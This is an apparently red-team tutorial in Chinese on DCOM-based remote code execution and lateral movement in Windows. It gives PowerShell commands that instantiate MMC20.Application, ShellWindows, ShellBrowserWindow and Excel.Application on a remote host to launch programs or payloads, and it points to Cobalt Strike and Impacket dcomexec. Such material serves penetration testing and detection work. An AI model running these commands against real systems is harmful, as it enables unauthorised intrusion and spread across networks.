DCOM
根据 Microsoft (https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model),组件对象模型 (COM) 是分布式、平台独立、面向对象的,用于创建可交互的二进制软件组件的系统。COM 是 Microsoft 的 OLE 、ActiveX 和其他技术的基础技术。
对于攻击者来说,DCOM 还可以用于远程代码执行和横向移动,需要访问端口 135 和本地管理员权限。相对来说,基于 DCOM 的横向移动会更加难以侦查,因为有多种方法可用,并且都有各自不同的 IoC。以及还有大量未被文档记录的方法,以及可能含有未被发现 RCE 利用的。
DCOM 基础
以 MMC 应用类来说,它可以让我们脚本化 MMC 管理单元的操作。枚举该 COM 对象的方法和属性,发现 ExecuteShellCommand 看起来可以用于远程代码执行。
$com=[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>"))
$com.Document.ActiveView | Get-Member
就这样,我们有了这么一个 DCOM 应用可以通过网络远程访问并且执行命令。不过,不是每个 DCOM 对象都有关联的 ProdID,例如 ShellWindows,我们就不能通过 ProdID 来查询了。
我们可以使用 OleViewDotNet (https://github.com/tyranid/oleviewdotnet) 工具来查询目标 DCOM 对象的,得到 CLSID,然后通过 GetTypeFromCLSID("<CLSID>","<IP>") 来实例化对象。
顺便,我们能看到 Launch Permission 是空的,这种情况下默认允许管理员访问,这个属性应当被配置具体的访问控制。因此,通过不同的 DCOM 对象进行横向移动可能需要不同的权限。
刚刚的 MMC20 也没有配置具体的访问控制,这也是我们得以在管理员的情况下借助 DCOM 实现横向移动的原因之一。
随着对象在目标主机上的实例化,我们可以与之交互并且调用任何方法
$item = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("<clsid>", "<IP>")).item
$item.Document.Application | Get-Member
ShellExecute 函数原型如下,我们便可以调用该方法实现代码执行了。
iRetVal = Shell.ShellExecute(
sFile,
[ vArguments ],
[ vDirectory ],
[ vOperation ],
[ vShow ]
);
PowerShell
我们可以通过如下 Powershell 命令对目标主机实现命令执行:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>")).Document.ActiveView.ExecuteShellCommand("<程序>","0","0","0")
我们会发现,成功地创建了指定程序的新进程。
将程序指定为我们的载荷,执行后立刻就收到了新的会话。
这里,我们使用的是 MMC20 的方法。不过 MMC20 是在 DCOM 横向移动中最常被使用的方法,因此受到了更严格的监控。除了 目前为止提到的 MMC20.Application 以下是其他的一些及 ShellWindows,ShellBrowserWindow,Excel.Application,Outlook.Application 等同样可以被用于远程代码执行的方法以及用法,但其中有的方法有特定要求,例如目标主机上安装有 Excel。
ShellWindows
此 DCOM 应用程序可用于通过 ShellExecute 方法执行任意命令。
$target = "<IP>"
$ShellWindows = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("ShellWindows", $target))
$ShellWindows.ShellExecute("<程序>", "<参数>", "<目录>", "<操作>", <显示CMD>)
ShellBrowserWindow
与 ShellWindows 类似,此 DCOM 应用程序也可用于执行任意命令。
$target = "<IP>"
$ShellBrowserWindow = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("ShellBrowserWindow", $target))
$ShellBrowserWindow.ShellExecute("<程序>", "<参数>", "<目录>", "<操作>", <显示CMD>)
Excel.Application
此 DCOM 应用程序允许通过 Excel 宏执行任意命令,这需要在目标机器上安装 Microsoft Excel。
$target = "<IP>"
$Excel = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", $target))
$Workbook = $Excel.Workbooks.Open("<Workbook路径>")
$Excel.Run("<宏名称>")
C2
jump dcom 插件
CS 没有自带 jump dcom 命令,但我们可以通过插件来实现。
第三方工具
Impacket
我们也可以通过 impacket 中的 dcomexec 实现横向移动,指定 DCOM 对象,目前可以使用 MMC20,ShellWindows 以及 ShellBrowserWindow,返回的 Shell 依旧是半交互式的。